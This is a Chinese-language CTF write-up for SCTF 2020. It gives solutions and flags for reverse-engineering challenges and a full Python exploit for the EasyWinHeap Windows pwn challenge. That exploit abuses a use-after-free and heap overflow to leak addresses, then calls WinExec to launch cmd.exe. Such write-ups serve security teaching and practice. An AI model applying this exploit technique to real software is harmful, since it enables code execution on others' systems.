sctf 2020 writeup

sctf re writeup

re

get_up

smc+md5+rc4

image-20200916220945399

md5解出sycsyc

后面又一个smc然后rc4

SCTF{zzz~(|3[___]_rc4_5o_e4sy}

signin

python打包,解包,找字符串后添加文件头一气呵成

结果反编译不了,很懵逼,猜测花指令,查看后发现没有

后来看了wp知道是python3.8…太坑了,以前都是直接百度python在线反编译拖进去就行了

反编译后大致逻辑就出来了

看temp.dll,一个多项式算法一个xor

SCTF{We1c0m3_To_Sctf_2020_re_!!}

easyre

挺有意思的题目,有个假flag一开始没看到

image-20200918143312989

因为题目有花和简单的反调试直接给patch了

上面flag直接输入显示是正确,猜测有校验函数

sub_409FF0才是真正函数,通过40A310注册aexit来执行,调试很简单,再sub_409FF0下断点,因为main有isdebuggerpresent会return,走到aexit就会执行

image-20200918162641109

检查是否解密成功(如果在main函数下断点会影响解密,具体可以自己看解密dll流程,这也就是那个“校验”)

image-20200918164436028

向指定地址写入dll

image-20200918164552224

下面imagebase相减一看就知道是重定位操作了,可以忽视,一般不需要重定位,前面alloc的时候已经指定目标dll地址为imagebase了

image-20200918165114619

然后调用初始化dll

image-20200918165644425

这边调用的才是真正的打印函数

image-20200918165940532

后面sub_40CBB0计算出encode函数然后调用

image-20200918171139236

把dll dump出来后看encode函数即可

image-20200918171217850

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Cipher import AES
flag = ''
key = 'SCTF2020'.encode('hex')
aes = AES.new(key,AES.MODE_ECB)
a = [142, 56, 81, 115, 166, 153, 42, 240, 218, 213, 106, 145, 233, 78, 152, 206, 42, 183, 61, 64, 241, 229, 29, 171, 239, 238, 176, 214, 20, 11, 42, 149]
for i in range(len(a)):
a[i] ^= 0x55
for i in range(7):
a[21+i] = (((a[21+i]&0xaa)>>1)&0xff)|(((a[21+i]<<1)&0xaa)&0xff)
a[21+i] ^= 0xad
a[14 + i] = (((a[14 + i] & 0xcc) >> 2) & 0xff) | (((a[14 + i] << 2) & 0xcc) & 0xff)
a[14 + i] ^= 0xbe
a[7 + i] = (((a[7 + i] & 0xff) >> 4) & 0xff) | (((a[7 + i] << 4) & 0xff) & 0xff)
a[7 + i] ^= 0xef
for i in range(len(a)):
flag += chr(a[i])
print aes.decrypt(flag)
#SCTF{y0u_found_the_true_secret}

orz

这题相对上面就没啥新东西了

前面有类似伪随机数的操作取输入三个为种子

后面操作也不难还有个des

SCTF{b5c0b187fe309af0f4d35982fd}

pwn

EasyWinHeap

windows pwn

早就想入门了,一直没时间,正好考完补比赛wp时看到sctf居然有个winpwn

image-20200920121620549

功能四个

delete处没有置零存在uaf

edit处存在堆溢出,具体看size,寸size的时候存了size>>4 + 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# -*- coding: UTF-8 -*-
from winpwn import *
context.arch='i386'
#context.log_level='debug'
a=process("./EasyWinHeap.exe")


def add(size):
a.recvuntil("option >")
a.sendline("1")
a.recvuntil("size >")
a.sendline(str(size))
def delete(index):
a.recvuntil("option >")
a.sendline("2")
a.recvuntil("index >")
a.sendline(str(index))
def show(index):
a.recvuntil("option >")
a.sendline("3")
a.recvuntil("index >")
a.sendline(str(index))
def edit(index,content):
a.recvuntil("option >")
a.sendline("4")
a.recvuntil("index >")
a.sendline(str(index))
a.recvuntil("content >")
a.sendline(content)

for i in range(6):
add(0x30)
#windbg.attach(a,script="bp EasyWinHeap.exe+10E5")
delete(2)
delete(4)
show(2)
a.recvuntil('\r\n')
heap_addr = u32(a.recv(4).ljust(4,'\x00'))
heap_addr -= 0x580
idx2pptr = heap_addr + 0x4ac
print 'heap_addr --> ' + hex(heap_addr)
edit(2, p32(idx2pptr-4)+p32(idx2pptr))
delete(1)
#windbg.attach(a,script="bp EasyWinHeap.exe+10E5")
edit(2,p32(idx2pptr+4*3))
show(2)
a.recvuntil('\r\n')
puts_addr = u32(a.recv(3).ljust(4,'\x00'))
image_base = puts_addr - 0x1044
print 'puts_addr --> ' + hex(puts_addr)
print 'image_base --> ' + hex(image_base)
#windbg.attach(a,script="bp EasyWinHeap.exe+10E5")
idata_heapfree = image_base + 0x2004
edit(2,p32(puts_addr)+p32(idata_heapfree))
show(4)
a.recvuntil('\r\n')
heapfree_addr = u32(a.recv(4).ljust(4,'\x00'))
print 'heapfree_addr --> ' + hex(heapfree_addr)
winexec = heapfree_addr - 0x1dec0 + 0x5CD60
#windbg.attach(a,script="bp EasyWinHeap.exe+10E5")
edit(2,p32(winexec)+p32(idx2pptr))
edit(4,'cmd.exe\x00\x00')
show(4)
a.interactive()

大致打法是,unlink leak出puts地址,然后计算出image base

接着leak kernel32.dll函数计算出winexec地址

然后调用即可

文章目录
  1. 1. re
    1. 1.1. get_up
    2. 1.2. signin
    3. 1.3. easyre
    4. 1.4. orz
  2. 2. pwn
    1. 2.1. EasyWinHeap
|